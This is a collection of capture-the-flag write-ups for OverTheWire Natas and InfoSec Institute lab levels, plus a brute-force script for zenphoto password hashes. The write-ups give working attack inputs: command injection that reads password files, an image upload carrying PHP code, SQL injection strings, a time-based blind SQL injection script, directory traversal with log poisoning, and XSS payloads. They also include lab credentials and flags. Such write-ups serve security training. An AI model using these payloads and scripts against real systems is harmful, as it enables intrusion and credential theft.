-------------------------------------------------------------------------------- 1 | # Natas24 2 | 3 | * user: `natas24` 4 | * pass: `OsRmXFguozKpTZZ5X14zNO43379LZveg` 5 | * url: [http://natas24.natas.labs.overthewire.org](http://natas24:OsRmXFguozKpTZZ5X14zNO43379LZveg@natas24.natas.labs.overthewire.org) 6 | * flag: `GHF6X7YwACaYYssHVY05cFq83hRktl4c` 7 | 8 | ## Procedure 9 | 10 | 1. In this level, password is checked by using `strcmp()` function. 11 | According to documentation, this function returns only values `> 0`, 12 | `< 0` and `= 0`. So our target is to have the return value equal to 13 | 0. 14 | 15 | 2. In PHP, `strcmp()` has a strange behaviour. Indeed, if the passed 16 | arguments are not string, it returns 0. So, let's try by passing the 17 | empty array `passwd[]` 18 | 19 | $ curl -XGET -u natas24:OsRmXFguozKpTZZ5X14zNO43379LZveg http://natas24.natas.labs.overthewire.org/?passwd%5b%5d 20 | 21 | 22 | 23 | 24 | [cut] 25 | 26 | Warning: strcmp() expects parameter 1 to be string, array given in /var/www/natas/natas24/index.php on line 23
27 |
The credentials for the next level are:
Username: natas25 Password: GHF6X7YwACaYYssHVY05cFq83hRktl4c
28 | 29 | [cut] 30 | 31 | 32 | -------------------------------------------------------------------------------- /overthewire/natas/natas09.md: -------------------------------------------------------------------------------- 1 | # Natas9 2 | 3 | * user: `natas9` 4 | * pass: `W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl` 5 | * url: `http://natas9.natas.labs.overthewire.org` 6 | * flag: `nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu` 7 | 8 | ## Procedure 9 | 10 | 1. Let's click on `View sourcecode` 11 | 12 |
13 | 		
24 | 		
25 | 26 | 2. The way to call `grep` command seems to be vulnerable to commands 27 | injection. Let's try to set value of `needle` parameter to 28 | `; ls -l ;` 29 | 30 | total 480 31 | drwxr-x--- 2 natas9 natas9 4096 Nov 14 10:32 . 32 | drwxr-xr-x 34 root root 4096 Nov 15 17:17 .. 33 | -rw-r----- 1 natas9 natas9 118 Nov 14 10:32 .htaccess 34 | -rw-r----- 1 natas9 natas9 42 Nov 14 10:32 .htpasswd 35 | -rw-r----- 1 natas9 natas9 460878 Nov 14 10:27 dictionary.txt 36 | -rw-r----- 1 natas9 natas9 1952 Nov 14 10:32 index-source.html 37 | -rw-r----- 1 natas9 natas9 1185 Nov 14 10:32 index.php 38 | -rw-r----- 1 natas9 natas9 1165 Nov 14 10:27 index.php.tmpl 39 | 40 | 3. Let's try the same path suggested in Natas7. By injecting the 41 | following code 42 | 43 | ; cat /etc/natas_webpass/natas10 ; 44 | 45 | the result is 46 | 47 | nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu 48 | -------------------------------------------------------------------------------- /infosec/ctf2/ex2.md: -------------------------------------------------------------------------------- 1 | # A1 Injection 2 | 3 | 1. The goal is to inject the `phpinfo()` function in order to show its output. 4 | After some attemps, seems that `operand1` and `operand2` input fields must 5 | be numbers. On the contrary, `operator` field is not validated. Therefore, 6 | it's realistic to assume that `operator` is the attack's veicle. 7 | 8 | 2. In the normal behaviour, the app replies with 9 | 10 | The result of X + Y is: Z 11 | 12 | where X is the value of `operand1`, Y the value of `operand2` and Z the 13 | result of the operation (maybe generated through `eval()` function). 14 | 15 | 3. Our task is to include the "magic code" in the operator field. Let's try 16 | this 17 | 18 | $ curl -XPOST --data "operand1=1&operand2=1&operator=;phpinfo();" \ 19 | http://ctf.infosecinstitute.com/ctf2/exercises/ex2.php 20 | HTTP/1.1 200 OK 21 | Date: Mon, 07 Sep 2015 08:08:54 GMT 22 | Server: Apache/2.4.7 (Ubuntu) 23 | X-Powered-By: PHP/5.5.9-1ubuntu4.6 24 | Set-Cookie: PHPSESSID=gqinri2rihvkjb7jvu4ea9ase7; path=/ 25 | Expires: Thu, 19 Nov 1981 08:52:00 GMT 26 | Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 27 | Pragma: no-cache 28 | Vary: Accept-Encoding 29 | Content-Length: 7561 30 | Content-Type: text/html 31 | 32 | [...] 33 | 34 | 37 | 38 | [...] 39 | 40 | It seems to work... 41 | 42 | [Go to Ex1](./ex1.md) | [Go to Ex3] (./ex3.md) 43 | -------------------------------------------------------------------------------- /kevgir/scripts/zenphoto-brute-force.php: -------------------------------------------------------------------------------- 1 | = $min_pass_len ){ 31 | $hash = str_replace('+', '-', base64_encode(pbkdf2($pass, $user . $salt))); 32 | if ( strcmp($hash, $hash_ref) == 0 ) { 33 | echo "Found: " . $pass; 34 | exit(0); 35 | } else { 36 | echo "Trying with: " . $hash . "\r"; 37 | } 38 | } 39 | } 40 | fclose($fp); 41 | } 42 | ?> 43 | -------------------------------------------------------------------------------- /overthewire/natas/natas23.md: -------------------------------------------------------------------------------- 1 | # Natas23 2 | 3 | * user: `natas23` 4 | * pass: `D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE` 5 | * url: [http://natas23.natas.labs.overthewire.org](http://natas23:D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE@natas23.natas.labs.overthewire.org) 6 | * flag: `OsRmXFguozKpTZZ5X14zNO43379LZveg` 7 | 8 | ## Procedure 9 | 10 | $ curl -XGET -u natas23:D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE http://natas23.natas.labs.overthewire.org/?passwd=20%20iloveyou 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 |

natas23

23 |
24 | 25 | Password: 26 |
27 | 28 | 29 |
30 | 31 |
The credentials for the next level are:
Username: natas24 Password: OsRmXFguozKpTZZ5X14zNO43379LZveg
32 |
View sourcecode
33 |
34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /overthewire/natas/natas05.md: -------------------------------------------------------------------------------- 1 | # Natas5 2 | 3 | * user: `natas5` 4 | * pass: `iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq` 5 | * url: `http://natas5.natas.labs.overthewire.org` 6 | * flag: `aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1` 7 | 8 | ## Procedure 9 | 10 | 1. When accessing the page, the following message is received 11 | 12 | Access disallowed. You are not logged in 13 | 14 | It's common to use cookies to check if a user is logged in. So let's try 15 | with a sniffer (e.g. Wireshark) if specific cookie is required. 16 | 17 | 2. Bingo! When page is accessed, cookie `loggedin=0` is sent. Let's try to 18 | change it in 1 19 | 20 | $ curl -u natas5:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq -b loggedin=1 http://natas5.natas.labs.overthewire.org/ 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 |

natas5

33 |
34 | Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
35 | 36 | 37 | 38 | Seems to work... 39 | -------------------------------------------------------------------------------- /overthewire/natas/natas13.md: -------------------------------------------------------------------------------- 1 | # Natas13 2 | 3 | * user: `natas13` 4 | * pass: `jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY` 5 | * url: `http://natas13.natas.labs.overthewire.org` 6 | * flag: `Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1` 7 | 8 | ## Procedure 9 | 10 | 1. It seems to be the same approach of Natas12 but now, the file's 11 | signature is checked with the PHP function `exif_imagetype()`. 12 | According to documentation indeed, such function 13 | 14 | reads the first bytes of an image and checks its signature. 15 | 16 | 2. JPEG signature is `0xFF 0xD8 0xFF 0xE0`, so let's start by forging 17 | a JPEG file 18 | 19 | $ echo -e "\xFF\xD8\xFF\xE0" > image.php 20 | $ file image.php 21 | image.php: JPEG image data 22 | 23 | Now append the PHP code 24 | 25 | $ echo -n '' >> image.php 26 | $ file image.php 27 | image.php: JPEG image data 28 | 29 | 3. Upload the "image" as in Natas12 30 | 31 | $ curl -u natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY -F "MAX_FILE_SIZE=1000" -F "filename=image.php" -F "uploadedfile=@./image.php" http://natas13.natas.labs.overthewire.org 32 | 33 | 34 | [cut] 35 | 36 | 37 |

natas13

38 |
39 | For security reasons, we now only accept image files!

40 | 41 | The file upload/7q86uwt60z.php has been uploaded
View sourcecode
42 |
43 | 44 | 45 | 46 | and check the content 47 | 48 | $ curl -u natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY http://natas13.natas.labs.overthewire.org/upload/7q86uwt60z.php 49 | ����Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1 50 | -------------------------------------------------------------------------------- /overthewire/natas/natas10.md: -------------------------------------------------------------------------------- 1 | # Natas10 2 | 3 | * user: `natas10` 4 | * pass: `nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu` 5 | * url: `http://natas10.natas.labs.overthewire.org` 6 | * flag: `U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK` 7 | 8 | ## Procedure 9 | 10 | 1. It seems to be similar to Natas9 but here chars `;`, `&` and `|` 11 | are not allowed. Let's try with other *magic* symbols... 12 | 13 | 2. By inserting `*` seems that something is mooving in the right way. 14 | Indeed, `grep` supports wildcards, so let's try with `.*`... 15 | 16 | 3. Well! Files in current dir are listed, but `dictionary.txt` is huge 17 | 18 | .htaccess:AuthType Basic 19 | .htaccess: AuthName "Authentication required" 20 | .htaccess: AuthUserFile /var/www/natas/natas10//.htpasswd 21 | .htaccess: require valid-user 22 | .htpasswd:natas10:$1$sDWfJg4Y$ewf9jvw0ChWUA3KARHisg. 23 | dictionary.txt:African 24 | dictionary.txt:Africans 25 | dictionary.txt:Allah 26 | dictionary.txt:Allah's 27 | dictionary.txt:American 28 | ... 29 | 30 | 4. Let's try to exclude it by using `.* #`... 31 | 32 | .htaccess:AuthType Basic 33 | .htaccess: AuthName "Authentication required" 34 | .htaccess: AuthUserFile /var/www/natas/natas10//.htpasswd 35 | .htaccess: require valid-user 36 | .htpasswd:natas10:$1$sDWfJg4Y$ewf9jvw0ChWUA3KARHisg. 37 | 38 | 5. Yep! I feel the smell of the flag! As is Natas7 and Natan9, now 39 | password should be in 40 | 41 | /etc/natas_webpass/natas11 42 | 43 | Let's try by injecting `.* /etc/natas_webpass/natas11 #` 44 | 45 | .htaccess:AuthType Basic 46 | .htaccess: AuthName "Authentication required" 47 | .htaccess: AuthUserFile /var/www/natas/natas10//.htpasswd 48 | .htaccess: require valid-user 49 | .htpasswd:natas10:$1$sDWfJg4Y$ewf9jvw0ChWUA3KARHisg. 50 | /etc/natas_webpass/natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK 51 | -------------------------------------------------------------------------------- /infosec/ctf2/ex13.md: -------------------------------------------------------------------------------- 1 | # A10 Unvalidated Redirects and Forwards 2 | 3 | 1. Ok. We were redirected (in some way) to 4 | 5 | http://ctf.infosecinstitute.com/ctf2/exercises/ex13-task.php 6 | 7 | Let's take a look at the link for Level 13 in the levels' dropdown list 8 | 9 | http://ctf.infosecinstitute.com/ctf2/exercises/ex13.php?redirect=ex13-task.php 10 | 11 | Interesting!!! The redirect is performed by using `redirect` parameter. 12 | 13 | 2. Let's try with 14 | 15 | http://ctf.infosecinstitute.com/ctf2/exercises/ex13.php?redirect=http://mysite.com 16 | 17 | For sure, we receive 18 | 19 | Bad Redirect Parameter 20 | 21 | Maybe the approach of [Level 4](./ex4.md)... 22 | 23 | http://ctf.infosecinstitute.com/ctf2/exercises/ex13.php?redirect=HtTp://mysite.com 24 | ^^^^ 25 | Grrr... 26 | 27 | Bad Redirect Parameter 28 | 29 | Seems that value of `redirect` is validated by using a case-insensitive 30 | `regex`. Let's try with 31 | 32 | http://ctf.infosecinstitute.com/ctf2/exercises/ex13.php?redirect=ftp://mysite.com 33 | ^^^ 34 | 35 | Ops... No error message! Seems that not checks are performed on the scheme. 36 | 37 | 2. By Googling I found the man page of the PHP function 38 | [`parse_url()`](http://php.net/manual/en/function.parse-url.php). If you take 39 | a look at `Example #2`, you can see that URLs may be also specified without 40 | the scheme. 41 | 42 | 3. Let's try this 43 | 44 | http://ctf.infosecinstitute.com/ctf2/exercises/ex13.php?redirect=//mysite.com 45 | ^^ 46 | 47 | Yep! 48 | 49 | Congratulations, you just completed the last level. You are a true Ninja warrior now. 50 | 51 | [Go to Ex12](./ex12.md) 52 | 53 | -------------------------------------------------------------------------------- /infosec/ctf2/ex1.md: -------------------------------------------------------------------------------- 1 | # A3 Cross-Site Scripting (XSS) 2 | 3 | 1. Let's try to use `test` as "Site Name" and `http://www.example.com` as 4 | "Site URL". It works as expected. 5 | 6 | 2. Now, change `test` in `` just to check if input validation in present. 7 | Is it... 8 | 9 | 3. At first, we need to disable input validation. According to the source, 10 | "Site Name" is validated against a RegEx (`[a-zA-Z]+`). To allow "special" 11 | characters, two approaches can be followed: 12 | 13 | * Change the RegEx in `.+` 14 | 15 | 16 | ^^ 17 | 18 | * Add the `formnovalidate` attribute to the `submit` input 19 | 20 | 21 | ^^^^^^^^^^^^^^ 22 | 23 | Both the approaches can be implemented by using FF's Web Developer tools. 24 | 25 | 4. Let's try to inject the solution's code `` by 26 | using "Site Name" field. It works, but unfortunately `<` and `>` characters 27 | are escaped (see `../js/ex1.js:18-19`) 28 | 29 | var siteName = $(".ex1 input[type='text']").val().trim().replace(//g, ">"); 30 | var siteURL = $(".ex1 input[type='url']").val().trim().replace(//g, ">"); 31 | 32 | 5. To bypass escaping, we can use the JS debugger provided by FF. Let's add a 33 | breackpoint at line 18. After the code execution (the string escaping) we 34 | can manually modify the value of "Site Name" by re-inserting the original 35 | value without escapes (``). That's it! 36 | 37 | [Go to Exercise2](./ex2.md) 38 | 39 | -------------------------------------------------------------------------------- /overthewire/natas/natas25.md: -------------------------------------------------------------------------------- 1 | # Natas25 2 | 3 | * user: `natas25` 4 | * pass: `GHF6X7YwACaYYssHVY05cFq83hRktl4c` 5 | * url: [http://natas25.natas.labs.overthewire.org](http://natas25:GHF6X7YwACaYYssHVY05cFq83hRktl4c@natas25.natas.labs.overthewire.org) 6 | * flag: `oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T` 7 | 8 | ## Procedure 9 | 10 | 1. At first look, seems that `lang` parameter could be the vehicle of 11 | the attack. According to the source code, some checks are performed 12 | on it... 13 | 14 | 2. Firstly, we're not allowed to include `natas_webpass` string, so 15 | direct access to `/etc/natas_webpass/natas26` file is not feasible. 16 | 17 | 3. Secondly, a check against the presence of `../` is performed. In 18 | this case, all the occurrences of `../` in `$filename` are removed. 19 | 20 | 4. BINGO! The string "`..././`" will be converted in "`../`", so we are 21 | now allowed to fully visit the file system, and then, also the log 22 | file generated by `logRequest()`. 23 | 24 | 5. Since `/etc/natas_webpass/natas26` is not directly accessible, we 25 | can try to access it via the log file. Fortunately, `logRequest()` 26 | function does not perform any check on the variable 27 | `$_SERVER['HTTP_USER_AGENT']`, so we can use it to inject the 28 | PHP code 29 | 30 | 31 | 32 | 6. Well. The attack is defined. A Python script 33 | ([natas25.py](./scripts/natas25.py)) will do it on behalf us. 34 | 35 | $ python scripts/natas25.py 36 | 37 | 38 | 39 | 40 | [cut] 41 | 42 | [01.05.2015 10::59:23] oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T 43 | "Illegal file access detected! Aborting!" 44 | [01.05.2015 10::59:23] oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T 45 | "Directory traversal attempt! fixing request." 46 | 47 | [cut] 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /infosec/n00bs/l15.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | * flag: infosec_flagis_rceatomized 4 | * bonus flag: INFOSECFLAGISMORSECODETONES 5 | 6 | # Procedure 7 | 8 | 1. By inserting `google.com` the result seems to be a standard Dig output. 9 | 10 | 2. Let's try to insert `-h` option... It works! (the man page is shown) 11 | 12 | 3. Let's try to insert `; ls -al`. If correct, at server side it should be 13 | equivalent to 14 | 15 | $ dig; ls -al 16 | 17 | 4. Yep! Directory listing works! Moreover, a suspect file named `.hey` is 18 | present. 19 | 20 | 5. Download it 21 | 22 | $ wget http://ctf.infosecinstitute.com/levelfifteen/.hey 23 | $ cat .hey 24 | Miux+mT6Kkcx+IhyMjTFnxT6KjAa+i6ZLibC 25 | 26 | 6. Should `ZLibC` be a hint? I'm still working on it... Grrr... 27 | 28 | 7. Meanwhile (I'm curious), let's try take a look in the file system... 29 | 30 | 8. Wow! In `/misc` there is the `readme.wav` file (never used in past levels). 31 | By hearing it, seems to be newly a Morse code 32 | 33 | .. -. ..-. --- ... . -.-. ..-. .-.. .- --. .. ... -- --- .-. ... . -.-. --- -.. . - --- -. . ... 34 | 35 | 9. Decode it 36 | 37 | .. -. ..-. --- ... . -.-. ..-. .-.. .- --. .. ... -- --- .-. ... . -.-. --- -.. . - --- -. . ... 38 | I N F O S E C F L A G I S M O R S E C O D E T O N E S 39 | 40 | 10. After spending many time by trying several combinations of ZLib and GZip 41 | headers, I realised that ZLibC is a decoy!!! Let's try to decrypt it by 42 | trying several methods... 43 | 44 | 11. Googling on the web, I found this interesting web site 45 | 46 | http://crypo.in.ua/tools/ 47 | 48 | that offers several encryption/decryption for many algorithms 49 | 50 | 12. After trying (without success) popular encryptors, I started with fastest 51 | encryptors and with `ATOM 128`... BINGO!!! 52 | 53 | http://crypo.in.ua/tools/eng_atom128c.php 54 | -------------------------------------------------------------------------------- /overthewire/natas/natas14.md: -------------------------------------------------------------------------------- 1 | # Natas14 2 | 3 | * user: `natas14` 4 | * pass: `Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1` 5 | * url: `http://natas14.natas.labs.overthewire.org` 6 | * flag: `AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J` 7 | 8 | ## Procedure 9 | 10 | 1. By analysing the source code, catches the eye a non parametrised 11 | SQL query 12 | 13 | $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\""; 14 | 15 | that means [SQL Injection](http://en.wikipedia.org/wiki/SQL_injection) 16 | 17 | 2. Furthermore, it's possible to enable a simple debugging mode by 18 | providing through a `GET` `username`, `password` and `debug` 19 | parameters. So let's try... 20 | 21 | $ curl -u natas14:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1 "http://natas14.natas.labs.overthewire.org/?debug&username=alice&password=s3cr3t" 22 | 23 | 24 | [cut] 25 | 26 | 27 |

natas14

28 |
29 | Executing query: SELECT * from users where username="alice" and password="s3cr3t"
Access denied!
30 |
31 | 32 | 33 | 34 | 3. It seems to work. Let's try something tricky... 35 | 36 | $ curl -u natas14:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1 --data "username=1\"%20or%20\"a\"=\"a\"#&password=NotNecessary" "http://natas14.natas.labs.overthewire.org/?debug" 37 | 38 | 39 | [cut] 40 | 41 | 42 |

natas14

43 |
44 | Executing query: SELECT * from users where username="1" or "a"="a"#" and password="NotNecessary"
Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
45 |
46 | 47 | 48 | 49 | Yep! It works! The key is to pass as `username` the following string 50 | 51 | 1" or "a"="a"# 52 | -------------------------------------------------------------------------------- /overthewire/natas/natas22.md: -------------------------------------------------------------------------------- 1 | # Natas22 2 | 3 | * user: `natas22` 4 | * pass: `chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ` 5 | * url: [http://natas22.natas.labs.overthewire.org](http://natas22:chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ@natas22.natas.labs.overthewire.org) 6 | * flag: `D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE` 7 | 8 | ## Procedure 9 | 10 | 1. Probably one of the simplest levels 11 | 12 | $ curl -i -XGET -u natas22:chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ http://natas22.natas.labs.overthewire.org/?revelio 13 | HTTP/1.1 302 Found 14 | Date: Fri, 10 Apr 2015 19:01:45 GMT 15 | Server: Apache/2.4.7 (Ubuntu) 16 | X-Powered-By: PHP/5.5.9-1ubuntu4.7 17 | Set-Cookie: PHPSESSID=90gd0gl4m2jg8p1p31hfd2ma77; path=/; HttpOnly 18 | Expires: Thu, 19 Nov 1981 08:52:00 GMT 19 | Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 20 | Pragma: no-cache 21 | Location: / 22 | Content-Length: 1049 23 | Content-Type: text/html 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 |

natas22

37 |
38 | 39 | You are an admin. The credentials for the next level are:
Username: natas23
40 | 		Password: D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE
41 | 42 |
43 | 44 | 45 | 46 | -------------------------------------------------------------------------------- /infosec/ctf2/ex7.md: -------------------------------------------------------------------------------- 1 | # A3 Cross-Site Scripting (XSS) 2 | 3 | 1. Let's take a look at the form's source code 4 | 5 |
6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 |
15 |
16 | 17 | As we can see, there is an hidden field named `action` 18 | 19 | 20 | 21 | Seems to be interesting... 22 | 23 | 2. If we're lucky, the hidden field's value is set by referring the 24 | `$_SERVER["PHP_SELF"]` variable. To check it, we could try with the 25 | following URL 26 | 27 | http://ctf.infosecinstitute.com/ctf2/exercises/ex7.php/foo 28 | 29 | Yep! As we can see, there are some changes in the web page's rendering. 30 | Furthermore, the form's source code changed in 31 | 32 |
33 | 34 | [...] 35 | 36 | 37 | 38 | [...] 39 | 40 |
41 | 42 | This will be our attack's vehicle. 43 | 44 | 3. Our goal now is to create a "magic" URL that will include the code 45 | 46 |

YOUR NAME HERE

47 | 48 | in the page. Let's try by visiting the URL 49 | 50 | http://ctf.infosecinstitute.com/ctf2/exercises/ex7.php/'>foo 51 | 52 | As we can see, the string `foo '>` appeared between the password field and 53 | the buttons. It seems to be the right way. Let's try with 54 | 55 | http://ctf.infosecinstitute.com/ctf2/exercises/ex7.php/'>

GotTheMilk

56 | 57 | Yep! 58 | 59 | [Go to Ex6](./ex6.md) | [Go to Ex8](./ex8.md) 60 | 61 | -------------------------------------------------------------------------------- /infosec/ctf2/ex9.md: -------------------------------------------------------------------------------- 1 | # A2 Broken Authentication and Session Management 2 | 3 | 1. The hint *It seems you were automatically logged in* suggests us that 4 | something is (or should be) stored at client side. Let's try to take a look 5 | in the cookies 6 | 7 | $ curl -i http://ctf.infosecinstitute.com/ctf2/exercises/ex9.php 8 | HTTP/1.1 200 OK 9 | Date: Tue, 15 Sep 2015 08:40:18 GMT 10 | Server: Apache/2.4.7 (Ubuntu) 11 | X-Powered-By: PHP/5.5.9-1ubuntu4.6 12 | Set-Cookie: PHPSESSID=d309chl30f9toku705pl0s5gh5; path=/ 13 | Expires: Thu, 19 Nov 1981 08:52:00 GMT 14 | Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 15 | Pragma: no-cache 16 | Set-Cookie: user=Sk9ITitET0U%3D; expires=Tue, 15-Sep-2015 09:40:18 GMT; Max-Age=3600; path=/; httponly 17 | Vary: Accept-Encoding 18 | Content-Length: 4701 19 | Content-Type: text/html 20 | 21 | 22 | 23 | 24 | 25 | [...] 26 | 27 | 2. What about `user=Sk9ITitET0U%3D`? It seems to be a Base64 string. Let's try 28 | to decode it 29 | 30 | $ echo "Sk9ITitET0U=" | openssl base64 -d 31 | JOHN+DOE 32 | 33 | Yep! 34 | 35 | 3. We need to impersonate **Mary Jane**, so the cookie value should be 36 | 37 | $ echo -n "MARY+JANE" | openssl base64 -e 38 | TUFSWStKQU5F 39 | 40 | 4. Let's try if everything works... 41 | 42 | $ curl -i --cookie "user=TUFSWStKQU5F" http://ctf.infosecinstitute.com/ctf2/exercises/ex9.php 43 | HTTP/1.1 200 OK 44 | Date: Tue, 15 Sep 2015 08:46:20 GMT 45 | Server: Apache/2.4.7 (Ubuntu) 46 | X-Powered-By: PHP/5.5.9-1ubuntu4.6 47 | 48 | [...] 49 | 50 |

Hello, Mary Jane.

51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 |
NameAgeNationality
Mary Jane18American
. 63 | 64 | [...] 65 | 66 |

Oh yeah, you actually made it! You know the drill.

67 | 68 | [...] 69 | 70 | Nice! :-D 71 | 72 | 73 | [Go to Ex8](./ex8.md) | [Go to Ex10](./ex10.md) 74 | 75 | -------------------------------------------------------------------------------- /overthewire/natas/natas04.md: -------------------------------------------------------------------------------- 1 | # Natas4 2 | 3 | * user: `natas4` 4 | * pass: `Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ` 5 | * url: `http://natas4.natas.labs.overthewire.org` 6 | * flag: `iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq` 7 | 8 | ## Procedure 9 | 10 | 1. By getting the page's source code, we can see that there's nothing 11 | interesting. By clicking on `Refresh page`, page content changes from 12 | 13 | Access disallowed. You are visiting from "" while [...] 14 | 15 | to 16 | 17 | Access disallowed. You are visiting from "http://natas4.natas.labs.overthewire.org/" while [...] 18 | 19 | then if newly click on `Refresh page` it changes in 20 | 21 | Access disallowed. You are visiting from "http://natas4.natas.labs.overthewire.org/index.php" while [...] 22 | 23 | Seems that it's related to `Referer` HTTP header. Indeed, by repeating the 24 | procedure with a sniffer, we can see that `Referer` header is set. 25 | 26 | 2. The page suggests us that *authorized users should come only from [...]*. 27 | Let's try to set the `Referer` header to desired value 28 | (`http://natas5.natas.labs.overthewire.org/`) 29 | 30 | $ curl -u natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ --referer http://natas5.natas.labs.overthewire.org/ http://natas4.natas.labs.overthewire.org 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 |

natas4

43 |
44 | 45 | Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq 46 |
47 | 48 |
49 | 50 | 51 | -------------------------------------------------------------------------------- /overthewire/natas/natas17.md: -------------------------------------------------------------------------------- 1 | # Natas17 2 | 3 | * user: `natas17` 4 | * pass: `8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw` 5 | * url: `http://natas17.natas.labs.overthewire.org` 6 | * flag: `xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP` 7 | 8 | ## Procedure 9 | 10 | 1. Just another brute force attack very similar to 11 | [Natas15](natas15.md) and [Natas16](natas16.md). The difference 12 | here is that no text-based evidence about query execution's result 13 | is provided (see commented line in the source code). 14 | 15 | 2. Despite this, we can try with a time-based blind SQL injection. We'll 16 | reuse solution of [Natas15](natas15.md) but in this case the 17 | injected string are 18 | 19 | natas18" AND IF(password LIKE BINARY "%%",SLEEP(15), 1)# 20 | 21 | and 22 | 23 | natas18" AND IF(password LIKE BINARY "%",SLEEP(15), 1)# 24 | 25 | Below the Python script 26 | 27 | import requests 28 | 29 | pwd_len = 32 30 | 31 | charset_0 = ( 32 | '0123456789' + 33 | 'abcdefghijklmnopqrstuvwxyz' + 34 | 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 35 | ) 36 | charset_1 = '' 37 | 38 | target = 'http://natas17.natas.labs.overthewire.org' 39 | auth=('natas17','8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw') 40 | sleep_time = 15 41 | 42 | for c in charset_0: 43 | username = 'natas18" AND IF(password LIKE BINARY "%%%c%%",SLEEP(%d), 1)#' % (c, sleep_time) 44 | r = requests.get(target, auth=auth, params={"username": username} 45 | ) 46 | s = r.elapsed.total_seconds() 47 | if s >= sleep_time: 48 | charset_1 += c 49 | print ('C: ' + charset_1.ljust(len(charset_0), '*')) 50 | 51 | print "" 52 | 53 | password = "" 54 | while len(password) != pwd_len: 55 | for c in charset_1: 56 | t = password + c 57 | username = 'natas18" AND IF(password LIKE BINARY "%s%%",SLEEP(%d), 1)#' % (t, sleep_time) 58 | r = requests.get(target, auth=auth, params={"username": username} 59 | ) 60 | s = r.elapsed.total_seconds() 61 | if s >= sleep_time: 62 | print ('P: ' + t.ljust(pwd_len, '*')) 63 | password = t 64 | break 65 | 66 | 3. Let's try to run the script 67 | 68 | $ python natas17.py 69 | C: 0************************************************************* 70 | ... 71 | C: 047dghjlmpqsvwxyCDFIKOP*************************************** 72 | C: 047dghjlmpqsvwxyCDFIKOPR************************************** 73 | 74 | P: x******************************* 75 | ... 76 | P: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhd* 77 | P: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP 78 | -------------------------------------------------------------------------------- /infosec/n00bs/l13.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_morepackets 4 | 5 | # Procedure 6 | 7 | 1. Generally I append ".bkp" suffix to my backup files. Let's try 8 | 9 | $ curl http://ctf.infosecinstitute.com/levelthirteen.php.bkp 10 | 11 | 12 | 404 Not Found 13 | 14 |

Not Found

15 |

The requested URL /levelthirteen.php.bkp was not found on this server.

16 |
17 |
Apache/2.4.7 (Ubuntu) Server at ctf.infosecinstitute.com Port 80
18 | 19 | 20 | Maybe ".backup"? 21 | 22 | $ curl http://ctf.infosecinstitute.com/levelthirteen.php.backup 23 | 24 | 25 | 404 Not Found 26 | 27 |

Not Found

28 |

The requested URL /levelthirteen.php.backup was not found on this server.

29 |
30 |
Apache/2.4.7 (Ubuntu) Server at ctf.infosecinstitute.com Port 80
31 | 32 | 33 | Let's try with ".old" 34 | 35 | $ curl http://ctf.infosecinstitute.com/levelthirteen.php.old 36 | 37 | 38 | 39 | 40 | 41 | 42 | Infosec Institute n00bs CTF Labs 43 | 44 | 45 | 46 | 47 | 48 |